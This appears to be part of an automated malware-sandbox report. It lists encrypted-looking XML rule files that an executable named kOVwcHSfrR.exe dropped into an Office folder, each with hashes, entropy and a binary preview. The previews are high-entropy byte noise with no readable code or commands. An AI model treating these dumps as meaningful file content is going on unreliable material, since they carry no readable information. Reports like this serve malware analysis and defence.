-ut8.=AH...A..d8....X...?..............S@....../...<".g.".g.F.%46..........&.....6?.......SM..2/.<8.e.\|..P...z.eUv.} [V...(....4..0.M...$.R.).p..c.^l.^...wE~...mc......./Mit..)0..m...'>x.OoH...I..T...q..e....>..*z..-...=.Ep...4.3!f.!"..+%.yl.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.882617132798771
Encrypted:	false
SSDEEP:	48:WYJuavecgS+oOujb8EVzc6etx0ttHoiDI8j7i6FyD:WYJu+/gXuP8R29oC7xa
MD5:	1BF8C2139194D3FDE3BA834E95A2CCAF
SHA1:	882DB401E092968FC21C82E2B8CF4BEAAA0FD05C
SHA-256:	C7657821137EF73A0636FD9C95444AD5BC9BC295DF01FA436E79AF0FF22D092C
SHA-512:	F89105C83A3A3D9612773203ADA71426FE2F9E57863637FBCA09F6711738F128503025DC315019B15A4A4CAEA17B6332CAEAA81C896D5494EDFBA1BB1766D599
Malicious:	false
Preview:	<?xml..>]..2;..>a~..'d5Wo.....#.>V....I.....S..Np.B.g....H0c....f...k.3.qA.^......W..SS.... ..........~..P6.:...M..9...'.....%.sm@8./..ice3$...F.....L8.....-s..D.UQ......6..Y.~..=.Z.....:?s..(..M.9@ .wsr..u%S.......G.4.Z.].^j.\|I.b...B..J>............&.mb..h....\s.5K..@ .E...Ng...;..9\x...V..:...@xG.R.....T<..g...A.S^.Y7:...sU.3..&..N]...79..`U^..\.;..I$...T.1>.?..m.R.WR....d.:.m...g.....[....]Y..._E.~`...H..o.....U.IO...F.Z...8...9.k....HugZ.e.%jl....lfW.D..9....n.j...Q...8#.<.q....^.YO(....2.5..UU}..<.S.&...YS.I.(.M....K.B.T..6.d/z.%~Q...A?"d......J.?w..]i.lc-r.......y$..C.....Z../Z*....?k...x.......?.#..]..1,../..&.=..$..\|..@N/...X.t..C.:o.v.1U.L]t...^X...kf...M#56...........N..z.3@.....z..bA.80@.I.a....V.."7Z.{...9.D~..}.q.bj..%...o..ET....m...J..uY~.;.!.i.1z1.>?.w.kC<~8..jR....L..M0sX=9....Bd............"'Z..!...f..=.`..<.jn.@.G..F...ZC...V..u..6....,e....p;.-....'..t..T.-PR....oj..;=.S.......5O.\..h.../...4....r....K.L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.874768641333072
Encrypted:	false
SSDEEP:	48:eA5rRAHbj5zCJM/TYzWuNI+nD3Ku9mhDLyD:esRAPcJMbnuNIUnILa
MD5:	7264BF3A740445ED9C21226913EFEB84
SHA1:	01566F32ABB303AE458AF60655423B5977938E84
SHA-256:	4F229D7CA9A891365A8CAB614064F034451CFBA37FC8DB29C45F95C5B5DBF481
SHA-512:	632C7B6772FEAB1D9EDC4F2F833AC1A557DE10E9A3103B0C93BDDB8F2C7F654270284EE1F3724E223C50835200FE652D300AB25DD30F1C6686A07FC465767386
Malicious:	false
Preview:	<?xmll_uTB.o.c.^...r..v.$L@.....[... ...d9....8Z.-..I..,..LK:....0x ..6...Z...c. .........8t..m..........K%&....um0..@..w......E...^l.t....Q...?...O...sk.b.\|.I.TPeo...Osz.I.?..G....p.u.0....Qs.........t..(.....)M..k......B....Cw.xm.;..l.....}a..{.BJ.c.VOq....w.....E...$.-P.FY...e.....:.].Z........+l.s..KK.....OM.......3I....=....N....r....[....q.zvk($W8..?..a.......w.l.>..!cK6...W.....).}.Y}.N7.P...u.....m.o....R(....o7.^ ..........Zq......^....!EH....o..(/Y.....O.{hQ.....<EIt}.R&....JsUR.;...M.8..6tl!..Q..!`[6..V:@....y....5UHI.a..!..=.Z.RZ./H..@2.Q...7k..,d.e.u..~\|c..\|3.E.qM..G..hy../..$...ig.x&..Y%.t..x..\!g.P........s..$.U.....I&.....x...0Q9WFk^..qkD...1/..Q.O..~Aj.SC...<az..E.....TU.J.S...$`._....i".$f.;.5`[L...........6.SAN.w..3$.X....4.q.........-..+.. ...>O.FQ.4...s.b.}....,..+.-...U.%..d.2...J8.?3.`..Lo.(KO.@..$Yt&C..L.*.qKR.'.....0}[h...{0...V...7..B.b...E2I.l.Lj..0.....L!.~.V....V..'.\k....D$..&.D..........B..dx.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.894176334060646
Encrypted:	false
SSDEEP:	48:jw1u9E+WLE+Mhkkzg3snDHp3FpWu1LUCu2yD:jJIM2P69FN1LDu2a
MD5:	7F671F4C6515535A49CA33EA13EF959F
SHA1:	EB08F3107B0F8F4E9131A2231C421D77651133CC
SHA-256:	D5355305DC243F8329DC14338833C7C637A93C8D64D49FB94FC93A4DCD8B2E45
SHA-512:	54CBF3D755C0855DADCCC219FFB309EDBAD8978B0AF1667BDF4C204B32CF04D8548F0B9A3BDE4B271AE3E2D79AF169591CDBD7383945A28B2DBDB7F6C2ECA21D
Malicious:	false
Preview:	<?xml$..o...po....b.A.]..f..w..<..\...lRq.2b.....]f%Q.....M.=.5h.im...,.\......'.E...t...q..0;\|_...pPGp2....+.H1...;.4..a...`....m.-..!..V7...s.....D..f3^.O..6....j..MdL..1_..N..p)...a^.[...;..H.y...}...l..o....C..../.$ilY]...U..8..=.-.W.W.8.vk.6.....F8vR........bk..?.][.0Y.8.Q...1.....<[.2v.';....R.yPZ.@.e.-.....K{a...........U.Ay.m.K.3Y...\....0...e....9....0.o.....MA'.E.f...h..Cxc......B..K...sO.....y1p.Ig._T..g.....(N....l&...'..L4..u.;-....m...!.q..:..e....._..,9._.p......./M.}.F......{....^.......i%?.QG.5~$...T..b%N.....,.Ny....k......<..B5..V...s.>._G......HA..........=# n.-j...X..9..V<.H...Q./$....hs..m.$.(.e..u.C0..R..iu..(\|...S.g"x0.?..L..7.L...xP.Q?+.o...=..m..L...X._..c...6b.iv..h0."/......-..$..ry.t.9..j..?..",....F.(..Q_dh..ex-.. 5N..u~s...R....p.c.`...?..W>n..?........T.yR.ag....K.......z.h....%.<.Hr..i]..........<iQ........."J..#.............io5.z....{.....-;....N._.M............2.....LZ......Y..J..*&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.902536136895204
Encrypted:	false
SSDEEP:	48:Xfq/l6rB3m4aURTwMBXj6KB4NBBu3PB9yD:XfqgrB3m4aURTdBT6KB4rY3PB9a
MD5:	58D7DD51C53582CCC94D4158B4388705
SHA1:	252A9B0FDDC4D7E21A9831F8AF331B58E734BC47
SHA-256:	4770ABF1ECC9052A4F86C4676DC0156CA0EF4951927C973AD076DCFF14D20A64
SHA-512:	086B044B40108F8D267F39267F9288B86C7417FFAF71B73085B2A8B001720F3F121812856960C01AEAE6B722813B438D0FDC37C12996A47B753E9EFC829EDB45
Malicious:	false
Preview:	<?xml..$.k.I..!....'z.i+,..(a..E}.S.~>c.......Q.......#...o00..%;p#..]..OGp.H...;..@.R9......wT.._.LK.0.jK...e.$...N]..Z2u.t..J\....U..A.NZ.t.c.R?8.o.wT..G<.....n.x._[...e:.8;.s..C....G.x..2....LG{..C...J.\|n.#...;)p`.8.......W..........m.p.q.O..n..d(...J....cu...DB\....G.~....R}9.'.....w.).....4gA...=Y..Gf.B...`.b...E...^...Gv..;.......bU.)2..=O.3.$.1.%...d.2d..;...a+.&\|......u~'R....t..f....^4.....{G..]..9]...%.m...e.]..;.%G]f c...fN:d.!..N.yC0.[........t.......H........oLQp..URB..d.<.k.Z.y1.../.i...=.%......+..3.-.$.?....../h.$".q.{..Y.F,m..+..6.^.V...u.y..QUX...EFF..Il.o...P..N..%.....[q...A%.>.....q,~.vY.XbkE..G!..V2.1C.ke$"..^..W....4O......g...n.`q{......D............)"..r./.1...GU.%.r..x......j.45!Xe.7`\ ../L'..P..<:.L.U?B+0B..r[.p...m.vB.......$.....^.fG...e.=.....R.....l..l...Dd.!...+...p..@.t..DbXFt....~...j.B.~.s.+B<OE.:...~l.]..?..B. .i........=mD.=[..._..;.T...PGL.GI.....p...+......u....1..Z...&._<...m..f.b3........:.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.874008305955676
Encrypted:	false
SSDEEP:	48:0YFqipz3z5xe5VyQE+wIDZXFyxIxzWYHyryD:7FZpzbe5VyQpNumqda
MD5:	C1BD7BDE79F1E4327A4E1E4A5F6C4468
SHA1:	73E517E0125A4919D5A61F1014240F514C3EE80E
SHA-256:	29FA0A7EE2BA16F672575F64B0352369DFF3F859D557293E3150DBE0045D565C
SHA-512:	2321AF6F232FEC5D02D3F7512F6FD538B6EF58F308CB3BDF080FEF2202B4E80A2B90A2990179795FCCBA2ABA5B6D9C4ECB617D6DC001DC02E19F832637475670
Malicious:	false
Preview:	<?xml.#.m.> .L..#_......J..#...rC.Qc.'rns.7P.hq..Y#..<D..P....J.5..0%.7....\|=..?.D.".h.`T..sb.h.?H..FMd,' ..[..T...dA.....\|..d@.%...R.&(......\|2.I..E....8.Ve.g.>=..l.(K?-o3..n.y...=.......1\|...G{..3..N/.^h...<..;.Bo.(.2.m.'...s..A..p\|....]3. .~.i.=P..}...I.....4.l.............F.:i9.[.n6..9..J.ttd.TcP)..P!.....M)0..~....~A..O..0...].!^Y9.EKo...o...E.....O.<(..Y..Ol....yC...[].../ ....6..l.v,.../@..@.a..1.....P...l.47.9...6.-M.j6.P.....9..Dw..KOo..I.n...=u..fk.N...#K....LV..:....B.L...{......I.#.K..+.=.\.e...m.....Yn..z...`...R...."...UF1Z..Q.......Y....._......J...U.X7..~%.Zt.>8...?[S.:....{]F..k=...j&x...-.a.?;.L+.ke..!..i.zn......o.x...Xn......\|.P.u....q..Ih..5..\..4`.zJ.\..ag.`,...6..... ".IU...Wf!.q.f.D....Q..G...I.O.P\|.u....t/...Y..N.......k9...1...C.$..zV..M.}.G.d......J..P.....$:.....[.9.w.\|}..M..m...\9..9.:....J.2_.{q{KC.f..~./..\.....kM;!.{..\.W.u....o.,ZP...}.!..g.!.....B...W0..u.!%.9..$t7.Y.D .\.L..GDX.....f...CpN.2.X....Yn.z.7..:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.876844562580148
Encrypted:	false
SSDEEP:	24:iLVAK7G7ohNCkKkDS8a21LNg1uqtlA06JJ1k2DBFJBet9IUyv/IocxA78UGaGwIa:iLVRG7sQkKL87XBk6JAKJ8GU3lxAuyD
MD5:	4DC206297406ED9887B0129E9A89527C
SHA1:	01742E544BDDB8BDA3318513C5238BA3483E3193
SHA-256:	CE8A75089952053B402E110582EFAA4DE9C8D96D93F0FCDA339A6C3F0777EF4D
SHA-512:	1332AC74E411968D0E9A8CAE1E39566B12CFEB1AA70A4583A7E643DD7D003EE1657261F0684288E8A2968DE4675333C703D527BFDE44365D6AF65B9A1A8AF8A2
Malicious:	false
Preview:	<?xmlh...#...$D...W.2X....[.p.$...<...!..y(.S...D..V..U..T.b.vS.d......%P.p;Pmw.'.-._.].X...9.+.L.^xh.s....u.....>:.r.......i.e..Oa..R[zFx..c.T.....++...W.4.m...Y..VU$.Q.J.o)Y.q.-.)F.....Tu..d>a....y...7- ...6...,....~../Z.w'..w..R.qA..6c.~(.....#.>..I-I.....!.,..;9.".t.!6..]...X........+..uc.GJ..b.....h...V..v&...%"(..%.T....H...FX7..1..n._...vh .XeO.+..=V.#.U..o!..k...q.....\qE(.LB..o.NwL....?.7..$ag..].....p".......x.{.73.Y..[.#.j....f..\....L...<J..7...^c.=..Z..yj.t..b...4.O.. %..M.h..e9...VG.p.P..1.....J~W#.l..Vy...y!.I..d...S.y...'...Yc..>..<.............9.i..".4....;.K.c..\|m.+.....us....4.;.H%...@D.5O.....@..L....s..f-h...H.yb&.a.gl3...ni...x.v.t.Z.(......i..=i@E..$.P...{.4j.<5"1.s.....nW@Z.K....&.J...z.iq..b<.P....X.b_.'l.T,..E.#..Q.y.....kH.....b.....y../..{.....A.M.).`....y..-P..#..}BJ..1.......y.0.ER....n.v.r...`.y"......V....7..m.q...g...A.=... ..tF..wG......R..V...^...I.,.\|a.W.+H..E.._...7.5qr+.Pz36..L......bd....Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.869765228273211
Encrypted:	false
SSDEEP:	48:W4W7bQVcPwsmbTlqTMuDByENWv6mMcOeoj8yD:rW7Zxmtq5DBy+WSmMc1oIa
MD5:	F0655FB792B2707E66F8A84375AEF3F9
SHA1:	548830CFCCA78485BC5D74D16AC2950315CBF756
SHA-256:	891624F750A221DCD103B7E61D4D0E128FF82A453D35467FCA165EC99FE2E7C3
SHA-512:	F75F454329E29658A2E4F2CC2B0560FF74FB002961492CEFC5CCCD5A97F66FDD133B85680A207251DB140052603A97D3391A9FC996612D7AF503AAF8E989C761
Malicious:	false
Preview:	<?xml..\......DXA..#.X...Z:s.E..[.%....2../..}(..n..h..mO[t.K....<....g........L.....$X...fo.....E%a+...G.{..?......#.:...g..7...y..P....U.,."oP.....X..V.....'.a.......G.j.sO...'^.<+K...Z..o.y6.5....b..N.E.h..j..o>.s]./.........[.a3...w.......B.7....H .Qn.\|.0.:....".>Z'....X/.E.... .g...9.m~8.....aA..f.B%....$..RB...!..q....+...M.T9,..."=.f...5....dn..-~x..=].:Pn...jr.L..3,.#.O.7i/.....B...F....yq[.i..M@....../:..`ag.......p.B..v.y_.2.VOv.A..<../3W.d..,Jv.s;..F..-..=#....nfS.....>..x..A.1w..J.Sz.F[...&.f.QSd...\..G..8.=.[..Y.\|..&E.k.x..7...wz.......?~..^P.3.mn.@e^Y.?...;s.Y....^..,.]1..1.1......_#Y''42.g.(. .Z.a.#u;h^]n`r=.?M...\..u...Q.....r[..1..7N.......w6..r..u*.......9"......kb.7.(S........a.BnXK.....H.._\|Io.f..]u.e3.v.8.....:..oi..%d...kV...J.dn.s..O.LXN.I.Qs.q{<.&{..U.....M.......:du;.Q.. .S.....%..}....%..U&.P[+..C..e...DYx8..E.g......ze[...~H....G...C.P....P..\|d.\|Xo.Pj..Q.b...x....p........m.....&U..O-......5I.;`[....9.%n}..+...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.877244718614389
Encrypted:	false
SSDEEP:	48:Y4UIUgSvruEL727+L544Vr5sXPk+kKI1ICnRyD:YOX8ruE++LCO5cPg1IQRa
MD5:	8B69B52FD69EE04F67CEB66D76D6EFB6
SHA1:	2E7DB802EFC82782FA942464AFCD69886EBE10AD
SHA-256:	B9CE7F9C12C2ED528D02262A9E89134FD028881F447AB59B44A3D1D78CCF7251
SHA-512:	B3F8E641BB8E7C7EED46F7F757D2A1307CEC3101709A2B5322F52ECE14B9AA999B78D06A27E83517664083F5C662D3F4FBF1606CD3F1AAA89D5227BAF6179328
Malicious:	false
Preview:	<?xml...P6...(E..84....c..6...5....U.<..!....kV,.t.....P..X......K..$....~...<.6uF#b.d..f60..8...?.....#....@....{...a...._!..('..q:...x\|.U.Iw...1j..U(CJo<......+...u...x.......GR;...!...z..j.}..h.4.$(PQn.....({....n....f.AZ...a....J8..[._..s..k..q..S..N?.....]...Wd.U5Ue..4[.uB......N-..h+$e.}}.%[.?H.\.Da?0..'Mx.p...T".lK...5...U}...^O..B+.5.:a.............E...Q....R.[.....PU.....e.W8......Qp....>.".r.....y...........b..6O.q....V.C\|%.cB.......OE...w+..Q....k..A.?Ji/..@i.I..' <..........\.0........~...4....g.m/...7Y .....2.jA..yZ[\|..{..d..rS.[..&..[I...Wt.#,..c....c.5Dq..;..<&....A..f..a..f.yjR\|~<3.0...i..wt...8.p0.....8..;....._.R....T.Q.TW...$3.j..n.4..6e..v...\OH......x5%....#.....}..3?..0..3^..Fe/4'..9=...zT^..W....-.7w8..J.qJ....+........).'q"7.%./...[.U..L.......@...k.rm......3.I.(\o.. .H.j.........$S....<...E..i..f....C.......W..fZ\)...k.]..>....R.3.9y...Bc.}...1.7k>(.R]^p.]B.s.-.....ND...q0:..ko..8a..5..........-.>.\Td..9T-...#D...\|.c....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.878157201194366
Encrypted:	false
SSDEEP:	48:FLirWP0XBwlYqSI6BuzFDN+O5adC7ammpxyD:F2rC0A/SNIxdae8a
MD5:	F087A81642850504BA1955CE3B81EC88
SHA1:	66987357B5E2D30408AE75638D4DFC859D3A2AC6
SHA-256:	F25BCE5B9F91FD3619E85AB65A785AE6FAD778314039862D9D166E15507D7AEC
SHA-512:	67784C94D355F5C2C2C979593CE54060A8E9EE6748176DF495FC8495181A873C8E6D0F1878A4D8F41F9A09EF2A2BABE8C8BCD19D4C5F897BB1D497A0F39989B5
Malicious:	false
Preview:	<?xml...p\|.h..}?...>....v,k)v....+.7...!YJ.d..P......."..i....y"..F.a."R.'...gDtV..3.b........~tX{a+...#.......q..e\|~....QEoXm...M.U....<.......p....>.W..9..0.h.D]{".o......].3J.l...,..CW/..H_..^..C......z..R.....E...R.2.....7.2n..6......!...hj.u...p.v.RZ.'..u3.eF.9..Ld95....m.0..9.a..s#....M...................9..";%I...LW.....$C.Vz-0..i.....lX..c3q.:.<..f_BL..0..{`j..Z!.v.N@[.LQ.V.t.f\....!.c...".....<.l.\M.....U....YO.3.K..8.t.0t...0G....Y.&.]..=~.Ow...W..~..o.Q\..[....m.c...f_...^..3.91......[o......z3.:.f._.H.d.]....y. j...9......I..d..E....k.8cm...}..{Tzqf......V..2..L.. JV6j....o:..F..:)....h..l.4..ne)g..../..\.f?.......2-...Cz.....6.u7.En....l...OX..0Cx`xFX..Q.B..\{.!.~uZm.Hj+y.2...&.!.di..5j.......<...K..N1_.7...zVI...<...}Zv....m[...B....C..\|.7..pu....J.&..!.B...,...F..'V.......N?_6..E\|..}...P.w<.......D.`.$.&....h....#..I.......V/H..%.^.K.....Px.E...p._j[;.&...7}....F7.V#..............=..U.;V>...5\|.6...j..\.5*.d.T....a.)<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8872692573298915
Encrypted:	false
SSDEEP:	48:w9AV8SdpGAzwqLZQ59+tBQifdSiUm+lN+XbGcnQyD:w6Vhp/Y4qi1om+laGfa
MD5:	87B1114D93E5F093234E35A08DD74BA6
SHA1:	2B2FF98EFE9350E59F90EB4D598DA1B3DE5ED028
SHA-256:	EEAB8BEA1C0BE4C5F6E0D6C8831077932E49438B30E17D0DF59F6279EF76925C
SHA-512:	88AC076418AFC852C4B55019CFFD3CF38F6653F9255871CEE098774AF40C5C6629E3E8CFCE5CFDDB5C01FF1218874C69F587D3CBB85A207368E79B081D67E4C5
Malicious:	false
Preview:	<?xml.<v.........../...b.n.W..KdG.D.t.H.G.t..!.........+fU.q......tQ-......wF.kE.{esV.n..Y..]..Iyk...)\|.fM.....fa%...%o.....'KT.....4..@e..l.l.&FZ..>! ..+...2O.."..b.^F.{.wi..]..e.va..R.d....}cJ.$.9..lI.c....L....?:.......J...X:..#..g.....#.p .bG..!..I..x5..E.......\|4...eu..V....n.....b.,}...NX.......{8......X..0.!)-7.zG..'o.QVM....j.......8..^2..#.2.d...E.....Fz..x;2..An.Se...~z:A.D.F.[i.. .. ... .."}k.....~b.)..&......Hx.B7..g.y...UT.B5..H..K..;.x...F........e....Z.G.J.P.a......5.8F..\.f......JI.:g......i...:9+%h.pl..G^............<.4~V.....M.Y~:^.....'/..Y......=....GK.........'.L...x.[W',!.g>8.}..~...f.3:..J..b..@I.c7..o...1J......s..{.v...Q$.#.<\|...?gNx..q25.M.x....fQ.?...N..]b..]..c....X;..5..._TB.H.Z..8Ml...Lbp1.H..2b.gz..2)...k..=.r..vG.n-?.....g....-B._....>.....)..].-...od......R...l.,......Gn..t..%\..r...S..:q.....f.?..H..%..<......u......i.~4.+R.. ..._..i.y.u.9oY...\.....g....Y.t/V.~..t(...~.-i...W.....r..CK.w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.891419642649035
Encrypted:	false
SSDEEP:	48:TWlDZovoVbyzJH1faNNtp6atD2GS7xxWWMkyD:TWlDOvooJH1f+nIx6ka
MD5:	E26EAE15A9AB4FC22E81F94EE7AA5400
SHA1:	FDCB207A9F1463CDFC38EB9FD6982BEF87D0DE66
SHA-256:	FACDB343DDFC914C2CDCA30E4DA198EF57E603FB0E4D9A8B767B67A2A937784C
SHA-512:	FB7032C180D89F5769437B1845FA80EF235AE96BBD45F0B7C95694DA75693DAB296F17DF73B9DFD353E64655B9AB377ABFC2D93B7C10FD6834963304E5689192
Malicious:	false
Preview:	<?xmlhwl#.4o.I./..E.~b.{.M....-.p3.Y+%.I.[D.U.y..ZB..e......whN..r....5.A.`..pu.XZ2...K..~.4pSt..^.....W....{.R?j..h...g,#...-.....J.........x...O..S...\w>.6...n.....D.K.....C+..d..]..&..w....K...Kb. +.k&..U3...%.H..=.\w...>).$."........rya.K.....].j..N=.s.:.w.._..<..U.....y. .u.T...zHd-3r.Bj..u...qE...?ns.o.C..W.z...fY..v.d./..w5.5..M.e=........}..%.T.._.m.,..$..........D..9...M......m$...7..{Hf...xH..V..E.V\..o Q.5i;yL..fb.........g.P?..^...`..iq..D..=O._.{ps.E..\|..r^..k....a...i.FSW.3u...>(..C.}.zy.......0.4l_n..&...n.GC....n.-Gf.H..........`r.C.....Wq...z.......i0!.$........I.....3p.Ylb.)..N}......R.V]."i...n..j.)..I...mi.&[h...]z.:k.._]rr&A..o.5.4.......8.!...d....E..he#..Q$.w....J7.I..Y...'...I.d..........;..A..8.-...a.....9y.${..{...........(......._F....;..K@.."......1F..fgR.).b...R........@-8..$..H../.`;G.J<...n.DFz/.?.yX...7...:.JF..I1.....U'..C.ASSW..`:.6.W...I..)9..J..H.Y....#O@C.,.._.Ry.+.<.<..:).R..7W.....i.q'......!I....z.F;y..z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.86676582785675
Encrypted:	false
SSDEEP:	24:INCDA2PCeIFt+7IZ656zUypo9gRRzMuH1azn1i43v8bCutPk3iGdrddz+1VFjCXa:Bn+TK6npo6MuH1aLs4e6z/4VpCXyD
MD5:	8EE906AC30FB18CEEF0D553A8BABC31D
SHA1:	7C93D3A92C5BF65B29711C1CED1DC33170B802AE
SHA-256:	0D444FA78F07F9E0A5C6BBFFB01CCD763D8FDA53A2FF73D10CF78499DF8CEA73
SHA-512:	B9550E2FE663AB687E7A43B3059EECD9E8AB3EB746D6F58106865411AB775F453FFF2F2C8032E07FA91148AC05EAEC1A5689579338DF3ED8EBEFAE9363998A7F
Malicious:	false
Preview:	<?xml.........4..W.v..\t...._.>.i..\|E.Qjm.2W......L0H..N.b[..CM.&.......p.A.C(....T...C..m....k..s7...4c.E5C.+J......`...5K.FQ...$..L......dxP.......].,\|..;Um~..&..!..i....'....6U.(;..`..[......::.E..0...gh.3v.-.........%.+G..`.D~U.?....C....Q....b..?...)(.R......V.YO..MwK..@..P...CF...).....)..#.y...W.Im5;.=..u.}.-&....pP...x..+h$..&...&..5W.ff.~..;a6.....B..'.z.6....j..<U[......V3z...Z...=[RZ.q.{..rj....P.y..8........v.CE.......w...=.....~[R\.U3.$.uRwi.Q..if.V..s.!...P'...s.!4.1...i.#.y..gj.Lp......./.!....(..w..:AV.....e/.'....8.66...4...6......r......%!..!+.C2.5.....m....e.G....'..4 .T.C.O..$.T.,...&....#.....^P..F.zY.C.Z...x..sV..J.}.m.9`.....{...Y...&......*(.r..c...~.....g..)..V....n..<...?s.c..A.P/7=..[.... ...s)8.6..}.r<L.,.+<m..2.........2X.&.b.iH..1.a.+I.....5.>...\.bB..C...M..c.ae.lP]....E...<........&..~~.T...1...m&D..............S.....U.......v4F ..?.e.?A.....h.B-k5...&....c.6..Z.%R...z..j.s.7`[.B...7.f...a....=PN.f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.889885360043689
Encrypted:	false
SSDEEP:	24:/7sEEEEbjX/xyxOoMGlQwssBvsiYOOhCnPX4mHd95L7E8Ro7cD0cQfitTMCNHcq3:/Er/8MGyGpYzjud3HJo7Vy9NJMXyD
MD5:	A63EC94160F056E0DD691DBE4E76C0E7
SHA1:	7F76089964C01D97EE8295FBF5BE91BD46D98764
SHA-256:	208BB4EC0A806B077F015A3BEAFC07B0434D7B1E6CFD43BC23AF34224724E6AA
SHA-512:	832379DF9C858F7C3DE5FE52937613B24B310FA2467149D7C60B47045BD2542934D6C41225FC96E7BFD2297F018074264E450976314108A8B32B56013B2DCC81
Malicious:	false
Preview:	<?xml.d.~.n.. ..[..0.j%....=l.[0=....c.^W>.n.\|../.j!..9F\|..Y..,.....(B.15..D.9),..y...&g...%x.....U..B.@...F......a.._.JQ..s.!b.Q..=].....%.@.....!#y.0....\|...G...\..lz..........\|..Y,.....^..$X.........{......../..5R..3...{......s.C}%.^.B.:w.\|.J@1.....Fo"......8.7..A..T....Kp......jp....A..m.....~..(f.?5..l....5i@WC.)....o/j...`@.n..1..~.R.......}1...b.......l.S.A..E%h>GI:M.:;.it."1....n.C".p+.T65...n .6n".l.....!... .(_....:q.Jn....tT...~E.+..`cG......H.......n..g.y...@5=.nj...@=KY..'...9.....t5.q..a.f.t',...a8n...A.y....L....?h......7.k....4.......a(../....W.........?X..9.m...A...Q6l.M!.....T..vY...:...\|.2h..sV...3..w.n.b.2.. .&.z..\|....b....%..L....A.s.g.w.........h6Q;/.XY....P.JQ.C.N....#...f......C....>m.X....2......#.......^J.>=.C. ..,....japc,...jv.u.t;.s.P..N.g.(.f.M..0...<y.B1.A.[.......f.A..{...l._l.<w^K?.{.}]..M..xat..5....Ve/....k...w<.....k.T...(p..nGAdVO.c..[;.....B/...$.q.y..Q(.....l.O(...=....g..Q.mW..mg..^..........{T ..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.885543771899008
Encrypted:	false
SSDEEP:	48:KYn0vN67JkHMEx8IoW5tmkcXlfZ5zg+hEhGywyD:KbsE+IL+FZ5zg2EhGra
MD5:	46B949B8EDAD03D8046BF94E6BD10792
SHA1:	89B315F10274536CF8B14A69EF29A334D5ABEDAC
SHA-256:	C2C21C2A4E4418B1BF625537D807F13E418EAF5E40679FE95764AEB97BEEF1C1
SHA-512:	5F7E6039667259E2C63E1ABC5477248D2B1AAF32A7EF930E13D39926981ED71E52305EF94EAB244803198ECF1F314BA4B59E42037CF21EB4528260A85187DA28
Malicious:	false
Preview:	<?xmlb5f<...Od+(.1....6z..,..v%.k3.....1...oX>...'..U^X}w{.......k.i...#.p.\|\|o..s.......K..]E%.)}.4gE...4.O....0..o..o.@....Qa9PL..2......-6bi..Vq..m-Kt...p.(<.....50.....D........z......7.'..A.x.G...:..d.5!.X......YL..xu.......K'x.a+...@9.J.x.v....!...?..j..2 A.#.g...I..R.N...d...^.d2Lgu. ,...A.O+.U'q...13..&..b..1........6..O...~.....{.oPTK.x..P.\.8Kf....=..S...~.c.VY..............x..I...s.IG)u9.jlX.....Xz.q.......c."..).'....mye.c.&.T...."..... A....C..g.1...'.n_fM..-.A...;....#.g..........9..7...#..-..Y9pF......H.W.[k.......>m.u.-.b.E..OL..^.\|8....C.u$.[...1....."E.Wgb.n.J...mab...e............?.....x]EvM.D..0.......z..m......c.{.2...........bn&.@.....Z1T...o.v/LZ\q.$.G....C(u@.C.Z}.Y,.....%...f\|.Q.....;f?..i..T..6.0A0...U.l.NE....H..;....h..Gr._.X.<....h.6Yz1....w.n.z.J...j!..6.#..M.U'y.O.-...4.....I..U.:N<....3=....=..=). 